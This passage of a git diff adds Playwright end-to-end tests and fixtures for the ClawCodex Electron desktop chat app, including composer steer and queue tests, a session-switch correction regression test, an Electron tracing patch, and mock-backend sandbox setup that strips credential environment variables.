+  test('send a message and receive a response', async () => {
+    const page = fixture!.page
+
+    // Find the composer — it's a contenteditable textbox.
+    const composer = page.locator('[contenteditable="true"]').first()
+    await composer.waitFor({ state: 'visible', timeout: 10_000 })
+
+    // Click to focus, then type the message character by character.
+    // Using `type` instead of `fill` because the composer is a
+    // contenteditable div with custom keydown handling that tracks
+    // IME composition state — `fill` bypasses the event chain.
+    await composer.click()
+    await composer.type('Hello, can you hear me?', { delay: 20 })
+
+    // Submit with Enter — the composer's keydown handler intercepts
+    // plain Enter (without Shift) and calls submitDraft().
+    await page.keyboard.press('Enter')
+
+    // Wait for the user's message to appear in the transcript.
+    // The message renders as an assistant-ui message in the chat view.
+    await page.waitForFunction(
+      () => {
+        const body = document.body
+
+        if (!body) {
+          return false
+        }
+
+        return (body.textContent ?? '').includes('Hello, can you hear me?')
+      },
+      undefined,
+      { timeout: 15_000 }
+    )
+
+    // Wait for the mock response to appear. The canned reply is:
+    // "Hello from the mock inference server! The full boot chain is working."
+    // Give it a generous timeout — the inference request goes through the
+    // gateway → clawcodex serve → mock server → streaming SSE back.
+    await page.waitForFunction(
+      () => {
+        const body = document.body
+
+        if (!body) {
+          return false
+        }
+
+        const text = body.textContent ?? ''
+
+        return text.includes('mock inference server') || text.includes('boot chain is working')
+      },
+      undefined,
+      { timeout: 60_000 }
+    )
+  })
+
+  test('screenshot of chat with messages', async () => {
+    await expectVisualSnapshot(fixture!.page, { name: 'chat-with-messages', app: fixture!.app })
+  })
+
+  test('offers stop, steer, and queue actions while busy', async ({}, testInfo) => {
+    const page = fixture!.page
+    const composer = page.locator('[contenteditable="true"]').first()
+    const primary = page.locator('[data-slot="composer-root"] button[type="submit"]')
+    const queue = page.locator('[data-slot="composer-root"] button[aria-label="Queue message"]')
+    const dictation = page.locator('[data-slot="composer-root"] button[aria-label="Voice dictation"]')
+    const speakReplies = page.locator(
+      '[data-slot="composer-root"] button[aria-label="Read replies aloud"], [data-slot="composer-root"] button[aria-label="Stop reading replies aloud"]'
+    )
+
+    await composer.click()
+    await composer.type(BLOCKING_CLARIFY_TRIGGER)
+    await page.keyboard.press('Enter')
+    await page.getByText(BLOCKING_CLARIFY_QUESTION).waitFor({ state: 'visible', timeout: 30_000 })
+
+    await expect(primary).toHaveAttribute('aria-label', 'Stop')
+    await expect(primary.locator('span')).toHaveClass(/bg-current/)
+
+    await composer.click()
+    await composer.type('please answer tersely')
+    await expect(primary).toHaveAttribute('aria-label', /Steer/)
+    await expect(dictation).toBeVisible()
+    await expect(speakReplies).toBeVisible()
+    await expect(queue).toBeVisible()
+    await expect(queue.locator('svg.tabler-icon-layers-intersect-2')).toBeVisible()
+    const controlLabels = await page
+      .locator('[data-slot="composer-root"] button')
+      .evaluateAll(buttons => buttons.map(button => button.getAttribute('aria-label')))
+    const speakRepliesIndex = controlLabels.findIndex(
+      label => label === 'Read replies aloud' || label === 'Stop reading replies aloud'
+    )
+    expect(controlLabels.indexOf('Voice dictation')).toBeLessThan(speakRepliesIndex)
+    expect(speakRepliesIndex).toBeLessThan(controlLabels.indexOf('Queue message'))
+    expect(controlLabels.indexOf('Queue message')).toBeLessThan(
+      controlLabels.findIndex(label => label?.startsWith('Steer'))
+    )
+    await page.screenshot({ path: testInfo.outputPath('busy-composer-steer.png') })
+    await expect(primary.locator('svg.tabler-icon-steering-wheel')).toBeVisible()
+
+    await queue.click()
+    await expect(primary).toHaveAttribute('aria-label', 'Stop')
+    await expect(queue).toHaveCount(0)
+    await page.screenshot({ path: testInfo.outputPath('busy-composer-queue.png') })
+    await expect(page.getByText('1 Queued')).toBeVisible()
+
+    await primary.click()
+    await expect(page.getByText('1 Queued — paused')).toBeVisible()
+    await page.screenshot({ path: testInfo.outputPath('busy-composer-queue-paused.png') })
+  })
+})
diff --git a/ui-desktop/e2e/correction-session-switch.spec.ts b/ui-desktop/e2e/correction-session-switch.spec.ts
new file mode 100644
index 000000000..dc435b1d5
--- /dev/null
+++ b/ui-desktop/e2e/correction-session-switch.spec.ts
@@ -0,0 +1,249 @@
+/**
+ * Regression coverage for a correction sent during a live response, then a
+ * warm session switch away and back. The correction is an accepted user turn,
+ * not an optimistic duplicate of the original prompt, and its relative place
+ * in the transcript must survive the resume reconciliation.
+ */
+
+import { type TestInfo } from '@playwright/test'
+
+import { expect, test, type Page } from './test'
+
+import { type MockBackendFixture, setupMockBackend, waitForAppReady } from './fixtures'
+import { CORRECTION_SWITCH_TRIGGER, MOCK_REPLY } from './mock-server'
+
+const OTHER_SESSION_PROMPT = 'E2E persisted session used for a warm resume.'
+const ORIGINAL_PROMPT = `${CORRECTION_SWITCH_TRIGGER}: original prompt must remain singular after a correction.`
+const CORRECTION = 'E2E correction must stay after the original prompt.'
+const TOOL_STARTED = 'Checking the long-running task before I continue.'
+const CORRECTED_REPLY = 'The corrected task finished.'
+const INFERENCE_SWITCH_TRIGGER = 'E2E_INFERENCE_SWITCH_TRIGGER'
+const INFERENCE_PROMPT = `${INFERENCE_SWITCH_TRIGGER}: original inference prompt must remain singular.`
+const INFERENCE_CORRECTION = `${INFERENCE_SWITCH_TRIGGER}: correction sent while inference is live.`
+
+// Inactive tabs stay mounted under a data-pane-hidden ancestor. Match the
+// renderer's keep-alive visibility policy instead of relying on DOM order.
+const SURFACE = '[data-composer-target]:not([data-pane-hidden] [data-composer-target])'
+
+function activeSurface(page: Page) {
+  return page.locator(SURFACE).last()
+}
+
+async function send(page: Page, text: string): Promise<void> {
+  const composer = activeSurface(page).locator('[contenteditable="true"]').first()
+  await composer.waitFor({ state: 'visible', timeout: 15_000 })
+  await composer.click()
+  await composer.type(text, { delay: 5 })
+  await page.keyboard.press('Enter')
+}
+
+async function steer(page: Page, text: string): Promise<void> {
+  const surface = activeSurface(page)
+  const composer = surface.locator('[contenteditable="true"]').first()
+  const primary = surface.locator('[data-slot="composer-root"] button[type="submit"]')
+
+  await composer.waitFor({ state: 'visible', timeout: 15_000 })
+  await composer.click()
+  await composer.type(text, { delay: 5 })
+  await expect(primary).toHaveAttribute('aria-label', /Steer/)
+  await primary.click()
+}
+
+async function waitForTranscriptText(page: Page, text: string): Promise<void> {
+  await page.waitForFunction(
+    ([expected, surfaceSelector]: [string, string]) => {
+      const surfaces = document.querySelectorAll(surfaceSelector)
+      const active = surfaces[surfaces.length - 1]
+
+      return (active?.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected)
+    },
+    [text, SURFACE] as [string, string],
+    { timeout: 30_000 },
+  )
+}
+
+async function textNodeOccurrences(page: Page, text: string): Promise<number> {
+  return page.evaluate(
+    ([expected, surfaceSelector]: [string, string]) => {
+      const surfaces = document.querySelectorAll(surfaceSelector)
+      const viewport = surfaces[surfaces.length - 1]?.querySelector('[data-slot="aui_thread-viewport"]')
+      if (!viewport) return 0
+
+      const walker = document.createTreeWalker(viewport, NodeFilter.SHOW_TEXT)
+      let count = 0
+      while (walker.nextNode()) {
+        if (walker.currentNode.textContent?.includes(expected)) {
+          count += 1
+        }
+      }
+      return count
+    },
+    [text, SURFACE] as [string, string],
+  )
+}
+
+async function transcriptTextOrder(page: Page): Promise<string[]> {
+  return page.evaluate((surfaceSelector: string) => {
+    const surfaces = document.querySelectorAll(surfaceSelector)
+    const viewport = surfaces[surfaces.length - 1]?.querySelector('[data-slot="aui_thread-viewport"]')
+    if (!viewport) return []
+
+    return Array.from(viewport.querySelectorAll<HTMLElement>('[data-role="message"], [data-message-id]'))
+      .map(message => message.textContent?.trim() ?? '')
+      .filter(Boolean)
+  }, SURFACE)
+}
+
+async function transcriptMessageOrder(page: Page): Promise<string[]> {
+  return page.evaluate((surfaceSelector: string) => {
+    const surfaces = document.querySelectorAll(surfaceSelector)
+    const viewport = surfaces[surfaces.length - 1]?.querySelector('[data-slot="aui_thread-viewport"]')
+    if (!viewport) return []
+
+    return Array.from(
+      viewport.querySelectorAll<HTMLElement>('[data-role="user"], [data-role="assistant"], [data-role="system"]'),
+    )
+      .map(message => message.textContent?.trim() ?? '')
+      .filter(Boolean)
+  }, SURFACE)
+}
+
+/**
+ * The sidebar "+" opens a NEW TAB beside the current chat rather than
+ * replacing it, so the prior session stays mounted in its own surface. Wait
+ * for the newly-mounted surface to show an empty transcript instead of waiting
+ * for the old text to disappear from the page (it never will).
+ */
+async function openFreshDraft(page: Page, priorSessionText: string): Promise<void> {
+  await page.locator('[data-slot="sidebar"] button[aria-label="New session"]').first().click()
+  await page.waitForFunction(
+    ([priorText, surfaceSelector]: [string, string]) => {
+      const surfaces = document.querySelectorAll(surfaceSelector)
+      const active = surfaces[surfaces.length - 1]
+      const transcript = active?.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? ''
+
+      return surfaces.length > 0 && !transcript.includes(priorText)
+    },
+    [priorSessionText, SURFACE] as [string, string],
+    { timeout: 15_000 },
+  )
+}
+
+async function openSidebarSession(page: Page, sidebarText: string, expectedTranscriptText: string): Promise<void> {
+  const row = page.locator('[data-slot="sidebar"] button').filter({ hasText: sidebarText }).first()
+  await row.waitFor({ state: 'visible', timeout: 30_000 })
+  await row.click()
+  await waitForTranscriptText(page, expectedTranscriptText)
+}
+
+async function reopenOriginalSession(page: Page): Promise<void> {
+  // A still-running tool has not generated a final title yet, so the sidebar
+  // retains the source prompt as its provisional session title.
+  await openSidebarSession(page, ORIGINAL_PROMPT, ORIGINAL_PROMPT)
+}
+
+async function reopenInferenceSession(page: Page): Promise<void> {
+  const row = page.locator('[data-slot="sidebar"] button').filter({ hasText: INFERENCE_PROMPT }).first()
+  await row.waitFor({ state: 'visible', timeout: 30_000 })
+  await row.click()
+  await waitForTranscriptText(page, INFERENCE_PROMPT)
+}
+
+function relevantOrder(messages: string[]): string[] {
+  return messages.flatMap(message => {
+    if (message.includes(ORIGINAL_PROMPT)) return [ORIGINAL_PROMPT]
+    if (message.includes(CORRECTION)) return [CORRECTION]
+
+    return []
+  })
+}
+
+function steerTurnOrder(messages: string[]): string[] {
+  return messages.flatMap(message => {
+    if (message.includes(ORIGINAL_PROMPT)) return [ORIGINAL_PROMPT]
+    if (message.includes(CORRECTION)) return [CORRECTION]
+    if (message.includes(CORRECTED_REPLY)) return [CORRECTED_REPLY]
+
+    return []
+  })
+}
+
+test.describe('correction session switch', () => {
+  let fixture: MockBackendFixture | null = null
+
+  test.beforeEach(async () => {
+    fixture = await setupMockBackend({
+      mockServer: { holdFirstStreamForPrompt: INFERENCE_SWITCH_TRIGGER },
+    })
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterEach(async () => {
+    await fixture?.cleanup()
+    fixture = null
+  })
+
+  test('keeps a live correction in place and does not duplicate its original prompt after switching sessions', async ({}, testInfo: TestInfo) => {
+    const { page } = fixture!
+
+    // A blank draft does not exercise session hydration. Seed a real second
+    // session first, matching the observed switch between two saved chats.
+    await send(page, OTHER_SESSION_PROMPT)
+    await waitForTranscriptText(page, MOCK_REPLY)
+    await openFreshDraft(page, OTHER_SESSION_PROMPT)
+
+    await send(page, ORIGINAL_PROMPT)
+    await waitForTranscriptText(page, TOOL_STARTED)
+    await waitForTranscriptText(page, ORIGINAL_PROMPT)
+
+    // The historical session redirects while a foreground terminal task is
+    // running. Use the visible Steer action to cover the real composer path.
+    await steer(page, CORRECTION)
+    await waitForTranscriptText(page, CORRECTION)
+
+    const orderBeforeSwitch = relevantOrder(await transcriptTextOrder(page))
+    expect(orderBeforeSwitch).toEqual([ORIGINAL_PROMPT, CORRECTION])
+    expect(await textNodeOccurrences(page, ORIGINAL_PROMPT)).toBe(1)
+    expect(await textNodeOccurrences(page, CORRECTION)).toBe(1)
+    await page.screenshot({ path: testInfo.outputPath('correction-before-session-switch.png') })
+
+    // Reproduce the observed race: switch to another persisted session while
+    // the foreground tool is live, then return before its redirect settles.
+    await openSidebarSession(page, MOCK_REPLY, OTHER_SESSION_PROMPT)
+    await reopenOriginalSession(page)
+    await page.waitForTimeout(500)
+    await page.screenshot({ path: testInfo.outputPath('correction-after-warm-resume.png') })
+
+    expect(relevantOrder(await transcriptTextOrder(page))).toEqual(orderBeforeSwitch)
+    expect(await textNodeOccurrences(page, ORIGINAL_PROMPT)).toBe(1)
+    expect(await textNodeOccurrences(page, CORRECTION)).toBe(1)
+
+    await waitForTranscriptText(page, CORRECTED_REPLY)
+    expect(steerTurnOrder(await transcriptMessageOrder(page))).toEqual([ORIGINAL_PROMPT, CORRECTION, CORRECTED_REPLY])
+  })
+
+  test('keeps an inference-time correction visible through a warm session switch', async ({}, testInfo: TestInfo) => {
+    const { mock, page } = fixture!
+
+    await send(page, OTHER_SESSION_PROMPT)
+    await waitForTranscriptText(page, MOCK_REPLY)
+    await openFreshDraft(page, OTHER_SESSION_PROMPT)
+
+    await send(page, INFERENCE_PROMPT)
+    await mock.waitForHeldStream()
+    await waitForTranscriptText(page, INFERENCE_PROMPT)
+
+    await send(page, INFERENCE_CORRECTION)
+    await waitForTranscriptText(page, INFERENCE_CORRECTION)
+
+    await openSidebarSession(page, MOCK_REPLY, OTHER_SESSION_PROMPT)
+    await reopenInferenceSession(page)
+
+    expect(await textNodeOccurrences(page, INFERENCE_PROMPT)).toBe(1)
+    expect(await textNodeOccurrences(page, INFERENCE_CORRECTION)).toBe(1)
+    await page.screenshot({ path: testInfo.outputPath('inference-correction-after-warm-resume.png') })
+
+    mock.releaseHeldStream()
+    await waitForTranscriptText(page, MOCK_REPLY)
+  })
+})
\ No newline at end of file
diff --git a/ui-desktop/e2e/fix-electron-tracing.ts b/ui-desktop/e2e/fix-electron-tracing.ts
new file mode 100644
index 000000000..1c2a9825d
--- /dev/null
+++ b/ui-desktop/e2e/fix-electron-tracing.ts
@@ -0,0 +1,72 @@
+/**
+ * Monkey-patch: playwright's test runner never calls tracing.start() on
+ * Electron's internal BrowserContext because:
+ *  1. Playwright._allContexts() only returns [chromium, firefox, webkit]
+ *     contexts — Electron's context is excluded.
+ *  2. ArtifactsRecorder.didCreateBrowserContext runs in willStartTest, before
+ *     beforeAll launches the electron app.
+ *  3. The runAfterCreateBrowserContext hook doesn't exist on the Electron
+ *     class (only on BrowserType).
+ *
+ * As a result, trace screenshots (screencast) and DOM snapshots are never
+ * captured for electron tests.
+ *
+ * This patch:
+ *  1. Patches _allContexts() to include electron contexts, so the test
+ *     runner's didFinishTest() cleanup calls _stopTracing() → stopChunk()
+ *     on the electron context (saving the trace chunk + merging it into
+ *     the final trace.zip).
+ *  2. Manually calls tracing.start() + startChunk() after launch.
+ *  3. Wraps tracing.start to become startChunk after the first call,
+ *     so the test runner's willStartTest doesn't throw "already started".
+ *
+ * Imported from playwright.config.ts so it runs before any test.
+ *
+ * Pinned dependency: this file reaches into Playwright internals (_playwright,
+ * _allContexts, _context) that have no public contract. @playwright/test is
+ * pinned exact (=1.58.2 in package.json) so a bump can't silently break the
+ * monkeypatch. When bumping, re-verify these private symbols still exist on
+ * the Electron / PlaywrightInternal classes and that tracing still merges.
+ */
+
+import { _electron as electron, type BrowserContext } from '@playwright/test'
+import * as crypto from 'node:crypto'
+
+const electronContexts = new Set<BrowserContext>()
+const originalLaunch = electron.launch.bind(electron)
+
+electron.launch = async (options: any) => {
+  const app = await originalLaunch(options)
+  const ctx = (app as any)._context as BrowserContext
+  electronContexts.add(ctx)
+  ctx.once('close', () => electronContexts.delete(ctx))
+
+  // Patch _allContexts so the test runner sees the electron context
+  // (didFinishTest cleanup → _stopTracing → stopChunk → merge into trace.zip).
+  const pw = (electron as any)._playwright as any
+  if (pw && !pw.__electronTracingPatched) {
+    pw.__electronTracingPatched = true
+    const original = pw._allContexts.bind(pw)
+    pw._allContexts = () => [...original(), ...electronContexts]
+  }
+
+  // Start tracing — mirrors ArtifactsRecorder.didCreateBrowserContext.
+  const traceName = crypto.randomUUID()
+  await ctx.tracing.start({
+    screenshots: true,
+    snapshots: true,
+    sources: true,
+  }).catch(() => {})
+  await ctx.tracing.startChunk({ title: 'electron', name: traceName }).catch(() => {})
+
+  // Wrap tracing.start to redirect to startChunk after the first call.
+  // The test runner's willStartTest calls tracing.start() on all contexts
+  // in _allContexts(). Since we already started, redirect to startChunk
+  // to avoid "Tracing has been already started" errors.
+  const tracing = ctx.tracing as any
+  tracing.start = async (opts: any) => {
+    return tracing.startChunk(opts)
+  }
+
+  return app
+}
diff --git a/ui-desktop/e2e/fixtures.ts b/ui-desktop/e2e/fixtures.ts
new file mode 100644
index 000000000..81e298f80
--- /dev/null
+++ b/ui-desktop/e2e/fixtures.ts
@@ -0,0 +1,735 @@
+/**
+ * Shared E2E fixtures for the ClawCodex desktop Playwright suite.
+ *
+ * Two fixture modes:
+ *
+ *  1. `mockBackend` — starts a mock inference server, writes a config.yaml
+ *     that points at it, and launches the desktop app so the full chain
+ *     (electron → clawcodex serve → provider → inference → renderer) is
+ *     exercised with a real backend but a fake LLM.
+ *
+ *  2. `noProvider` — launches the app with an empty config (no provider
+ *     configured). The onboarding overlay should appear. Used to test the
+ *     first-run flow without real credentials.
+ *
+ * Both modes launch the *dev* Electron app (`electron .` against the built
+ * `dist/`), not the packaged binary. This avoids the multi-minute
+ * `electron-builder --dir` step and matches `clawcodex desktop --source`. The
+ * packaged-binary path is already covered by `launch.spec.ts`.
+ *
+ * Prerequisite: `npm run build` must have been run so that `dist/` exists.
+ */
+
+import { spawnSync } from 'node:child_process'
+import * as fs from 'node:fs'
+import * as os from 'node:os'
+import * as path from 'node:path'
+
+import { _electron, type ElectronApplication, type Page } from '@playwright/test'
+
+import { startMockServer, type MockServerOptions } from './mock-server'
+import { installErrorBannerGuard } from './test'
+
+const DESKTOP_ROOT = path.resolve(import.meta.dirname, '..')
+const REPO_ROOT = path.resolve(DESKTOP_ROOT, '..', '..')
+const RELEASE_ROOT = path.join(DESKTOP_ROOT, 'release')
+
+// ─── Credential stripping (matches launch.spec.ts) ──────────────────────
+
+const CREDENTIAL_SUFFIXES: string[] = [
+  '_API_KEY',
+  '_TOKEN',
+  '_SECRET',
+  '_PASSWORD',
+  '_CREDENTIALS',
+  '_ACCESS_KEY',
+  '_PRIVATE_KEY',
+  '_OAUTH_TOKEN',
+]
+
+const CREDENTIAL_NAMES = new Set([
+  'ANTHROPIC_BASE_URL',
+  'ANTHROPIC_TOKEN',
+  'AWS_ACCESS_KEY_ID',
+  'AWS_SECRET_ACCESS_KEY',
+  'AWS_SESSION_TOKEN',
+  'CUSTOM_API_KEY',
+  'GEMINI_BASE_URL',
+  'OPENAI_BASE_URL',
+  'OPENROUTER_BASE_URL',
+  'OLLAMA_BASE_URL',
+  'GROQ_BASE_URL',
+  'XAI_BASE_URL',
+])
+
+function isCredentialEnvVar(name: string): boolean {
+  if (CREDENTIAL_NAMES.has(name)) {
+    return true
+  }
+
+  return CREDENTIAL_SUFFIXES.some((suffix) => name.endsWith(suffix))
+}
+
+function stripCredentials(env: Record<string, string | undefined>): Record<string, string> {
+  const clean: Record<string, string> = {}
+
+  for (const [key, value] of Object.entries(env)) {
+    if (!value) {
+      continue
+    }
+
+    if (isCredentialEnvVar(key)) {
+      continue
+    }
+
+    clean[key] = value
+  }
+
+  return clean
+}
+
+// ─── Sandbox creation ──────────────────────────────────────────────────
+
+export interface Sandbox {
+  root: string
+  clawcodexHome: string
+  userDataDir: string
+  cleanup: () => void
+}
+
+export function createSandbox(prefix: string): Sandbox {
+  const root = fs.mkdtempSync(path.join(os.tmpdir(), `clawcodex-e2e-${prefix}-${Math.random()}`))
+  const clawcodexHome = path.join(root, 'clawcodex-home')
+  const userDataDir = path.join(root, 'electron-user-data')
+
+  fs.mkdirSync(clawcodexHome, { recursive: true })
+  fs.mkdirSync(userDataDir, { recursive: true })
+
+  // Write a fixed window-state.json so the Electron window opens at a
+  // consistent size — helps with visual regression screenshots.  The
+  // exact size is also enforced right before each screenshot (see
+  // expectVisualSnapshot in visual-snapshot.ts) because window managers
+  // may resize after launch.
+  fs.writeFileSync(
+    path.join(userDataDir, 'window-state.json'),
+    JSON.stringify(
+      { x: 0, y: 0, width: 1220, height: 800, isMaximized: false },
+      null,
+      2,
+    ),
+    'utf8',
+  )
+
+  // Pin Chromium actual-size zoom (level 0) for the suite. Fresh installs
+  // ship DEFAULT_ZOOM_LEVEL at the Appearance 90% preset, but Playwright
+  // click hit-testing and the committed visual baselines were calibrated at
+  // 100%. Without this file every sandbox would inherit the product default
+  // and fail pointer interception + snapshot diffs.
+  fs.writeFileSync(
+    path.join(userDataDir, 'zoom-state.json'),
+    JSON.stringify({ zoomLevel: 0 }, null, 2),
+    'utf8',
+  )
+
+  return {
+    root,
+    clawcodexHome,
+    userDataDir,
+    cleanup: () => {
+      try {
+        fs.rmSync(root, { recursive: true, force: true })
+      } catch {
+        // best-effort
+      }
+    },
+  }
+}
+
+// ─── Config writing ─────────────────────────────────────────────────────
+
+/**
+ * Write a config.yaml that pre-configures a mock provider pointing at the
+ * mock inference server. The provider is set as the active model provider so
+ * the desktop app skips onboarding and boots straight to the chat UI.
+ *
+ * @param extraDisplayConfig optional YAML lines appended to the `display:`
+ *   section, used by the interim-message e2e test.
+ * @param extraConfig optional top-level YAML sections for a test scenario.
+ * @param modelContextLength optional primary-model context limit.
+ */
+export function writeMockProviderConfig(
+  clawcodexHome: string,
+  mockUrl: string,
+  extraDisplayConfig?: string,
+  extraConfig?: string,
+  modelContextLength?: number,
+): void {
+  const configPath = path.join(clawcodexHome, 'config.yaml')
+
+  const displaySection = extraDisplayConfig
+    ? `\ndisplay:\n${extraDisplayConfig}\n`
+    : ''
+
+  const config = `# Auto-generated by E2E test fixtures
+model:
+  default: mock-model
+  provider: mock
+${modelContextLength ? `  context_length: ${modelContextLength}\n` : ''}providers:
+  mock:
+    api: ${mockUrl}/v1
+    name: Mock
+    api_mode: chat_completions
+    key_env: MOCK_API_KEY
+    models:
+      mock-model: {}
+    context_length: 4096
+${displaySection}${extraConfig ? `\n${extraConfig.trim()}\n` : ''}`
+
+  fs.writeFileSync(configPath, config, 'utf8')
+}
+
+/**
+ * Write a minimal .env with the mock API key. The key_env in config.yaml
+ * references MOCK_API_KEY, so the backend resolves credentials from here.
+ */
+export function writeEnvFile(clawcodexHome: string, apiKey = 'e2e-mock-key'): void {
+  const envPath = path.join(clawcodexHome, '.env')
+  fs.writeFileSync(envPath, `MOCK_API_KEY=${apiKey}\n`, 'utf8')
+}
+
+/**
+ * Write an empty config (no providers). The desktop app should show the
+ * onboarding overlay because no inference provider is configured.
+ */
+function writeEmptyConfig(clawcodexHome: string): void {
+  const configPath = path.join(clawcodexHome, 'config.yaml')
+  fs.writeFileSync(configPath, '# Auto-generated by E2E test fixtures — no providers configured\n', 'utf8')
+}
+
+// ─── Env building ──────────────────────────────────────────────────────
+
+/**
+ * Build the environment for the Electron app process.
+ *
+ * Key env vars:
+ *  - CLAWCODEX_CONFIG_DIR → sandbox clawcodex-home (isolated config/sessions)
+ *  - CLAWCODEX_DESKTOP_USER_DATA_DIR → sandbox electron-user-data
+ *  - CLAWCODEX_DESKTOP_IGNORE_EXISTING=1 → don't pick up `clawcodex` from PATH
+ *    (we want the dev checkout at REPO_ROOT)
+ *  - CLAWCODEX_DESKTOP_CLAWCODEX_ROOT → REPO_ROOT (dev checkout resolution)
+ *  - CLAWCODEX_DESKTOP_APP_NAME → unique-ish per test (avoids single-instance lock)
+ *  - XDG_RUNTIME_DIR → ensure Electron has a writable runtime dir on Linux
+ */
+export function buildAppEnv(sandbox: Sandbox, extra: Record<string, string> = {}): Record<string, string> {
+  const clean = stripCredentials(process.env)
+
+  // XDG_RUNTIME_DIR is needed for Electron on Linux when running in a
+  // headless/CI context — without it the zygote may fail to initialize.
+  if (!clean.XDG_RUNTIME_DIR && process.env.XDG_RUNTIME_DIR) {
+    clean.XDG_RUNTIME_DIR = process.env.XDG_RUNTIME_DIR
+  }
+
+  // DISPLAY — needed for Electron to open a window.
+  if (!clean.DISPLAY && process.env.DISPLAY) {
+    clean.DISPLAY = process.env.DISPLAY
+  }
+
+  return {
+    ...clean,
+    CLAWCODEX_CONFIG_DIR: sandbox.clawcodexHome,
+    CLAWCODEX_DESKTOP_USER_DATA_DIR: sandbox.userDataDir,
+    CLAWCODEX_DESKTOP_IGNORE_EXISTING: '1',
+    CLAWCODEX_DESKTOP_CLAWCODEX_ROOT: REPO_ROOT,
+    CLAWCODEX_DESKTOP_APP_NAME: `ClawCodexE2E-${Date.now()}`,
+    // `app.close()` in teardown must exit even when a spec leaves a turn
+    // mid-flight — otherwise the quit confirmation waits on a click that no
+    // one is there to make, and the worker dies on a teardown timeout.
+    CLAWCODEX_DESKTOP_SKIP_QUIT_CONFIRM: '1',
+    // Clear dev-server override — we want the built dist/, not a vite server.
+    // The dev-server check in main.ts looks for this env var; if it's set,
+    // it loads from the vite URL instead of the local file.
+    ...extra,
+  }
+}
+
+// ─── Electron launch ────────────────────────────────────────────────────
+
+/**
+ * Verify that the desktop app has been built (dist/ exists). Playwright
+ * tests can't run without it — the Electron main process loads
+ * dist/electron-main.mjs and the renderer loads dist/index.html.
+ */
+function assertDistBuilt(): void {
+  const distDir = path.join(DESKTOP_ROOT, 'dist')
+  const electronMain = path.join(distDir, 'electron-main.mjs')
+  const indexHtml = path.join(distDir, 'index.html')
+
+  if (!fs.existsSync(electronMain)) {
+    throw new Error(
+      `Desktop dist not built. Run 'cd apps/desktop && npm run build' first.\n` +
+        `Missing: ${electronMain}`,
+    )
+  }
+
+  if (!fs.existsSync(indexHtml)) {
+    throw new Error(
+      `Desktop dist/index.html not found. Run 'cd apps/desktop && npm run build' first.\n` +
+        `Missing: ${indexHtml}`,
+    )
+  }
+}
+
+/**
+ * Find the Electron binary. In the nix devshell, `electron` is on PATH.
+ * As a fallback, use the node_modules/.bin/electron from the desktop package.
+ */
+export function findElectron(): string {
+  // In dev mode, we use the `electron` binary directly (not the packaged app).
+  // The dev:electron script in package.json does exactly this: `electron .`
+  // after building. We replicate that here.
+  const localElectron = path.join(REPO_ROOT, 'node_modules', 'electron', 'dist', 'electron')
+
+  if (fs.existsSync(localElectron)) {
+    return localElectron
+  }
+
+  // Fall back to PATH
+  const result = spawnSync('which', ['electron'], {
+    encoding: 'utf8',
+  })
+
+  if (result.status === 0 && result.stdout.trim()) {
+    return result.stdout.trim()
+  }
+
+  throw new Error(
+    'Electron binary not found. Run "npm install" from the repo root to install devDependencies.',
+  )
+}
+
+/**
+ * Launch the desktop app in dev mode.
+ *
+ * @param sandbox  - isolated CLAWCODEX_CONFIG_DIR + userData
+ * @param env      - the process environment (already has CLAWCODEX_CONFIG_DIR etc.)
+ * @returns the ElectronApplication + first Page
+ */
+export async function launchDesktop(
+  env: Record<string, string>,
+): Promise<{ app: ElectronApplication; page: Page }> {
+  assertDistBuilt()
+
+  const electronBin = findElectron()
+
+  // `electron .` loads from the package.json `main` field
+  // (dist/electron-main.mjs after build).
+  const app = await _electron.launch({
+    executablePath: electronBin,
+    args: [
+      DESKTOP_ROOT, // `electron .` — the `.` is the desktop package dir
+      '--disable-gpu',
+      '--no-sandbox',
+    ],
+    env,
+    cwd: DESKTOP_ROOT,
+  })
+
+  const page = await app.firstWindow()
+
+  // Install the error-banner guard so any [role="alert"] that appears
+  // during a test is collected and surfaced in afterEach.
+  installErrorBannerGuard(page)
+
+  return { app, page }
+}
+
+// ─── Public fixtures ────────────────────────────────────────────────────
+
+export interface MockBackendFixture {
+  app: ElectronApplication
+  page: Page
+  mock: Awaited<ReturnType<typeof startMockServer>>
+  mockUrl: string
+  sandbox: Sandbox
+  cleanup: () => Promise<void>
+}
+
+export interface MockBackendOptions {
+  /**
+   * Optional YAML lines to inject under the `display:` section of the
+   * generated config.yaml. Used by the interim-message e2e test to toggle
+   * `display.interim_assistant_messages`.
+   */
+  extraDisplayConfig?: string
+  /** Additional top-level config.yaml sections for an E2E scenario. */
+  extraConfig?: string
+  /** Override the mock model's context window for compression scenarios. */
+  modelContextLength?: number
+}
+
+/**
+ * Set up a full mock-backend E2E environment:
+ *   1. Start the mock inference server
+ *   2. Create a sandbox with config.yaml pointing at it
+ *   3. Launch the desktop app
+ *   4. Return handles for test interaction
+ */
+export interface MockBackendOptions {
+  mockServer?: MockServerOptions
+}
+
+export async function setupMockBackend(options: MockBackendOptions = {}): Promise<MockBackendFixture> {
+  // 1. Start mock server
+  const mock = await startMockServer(options.mockServer)
+
+  // 2. Create sandbox + write config
+  const sandbox = createSandbox('mock')
+  writeMockProviderConfig(
+    sandbox.clawcodexHome,
+    mock.url,
+    options.extraDisplayConfig,
+    options.extraConfig,
+    options.modelContextLength,
+  )
+  writeEnvFile(sandbox.clawcodexHome)
+
+  // 3. Build env + launch
+  const env = buildAppEnv(sandbox)
+  const { app, page } = await launchDesktop(env)
+
+  return {
+    app,
+    page,
+    mock,
+    mockUrl: mock.url,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      await mock.close()
+      sandbox.cleanup()
+    },
+  }
+}
+
+export interface NoProviderFixture {
+  app: ElectronApplication
+  page: Page
+  sandbox: Sandbox
+  cleanup: () => Promise<void>
+}
+
+/**
+ * Launch the app with no provider configured. The onboarding overlay should
+ * appear because there's no inference provider in config.yaml.
+ */
+export async function setupNoProvider(): Promise<NoProviderFixture> {
+  const sandbox = createSandbox('noprovider')
+  writeEmptyConfig(sandbox.clawcodexHome)
+
+  const env = buildAppEnv(sandbox)
+  const { app, page } = await launchDesktop(env)
+
+  return {
+    app,
+    page,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      sandbox.cleanup()
+    },
+  }
+}
+
+export interface DeadBackendFixture {
+  app: ElectronApplication
+  page: Page
+  sandbox: Sandbox
+  cleanup: () => Promise<void>
+}
+
+export interface DeadBackendOptions {
+  /**
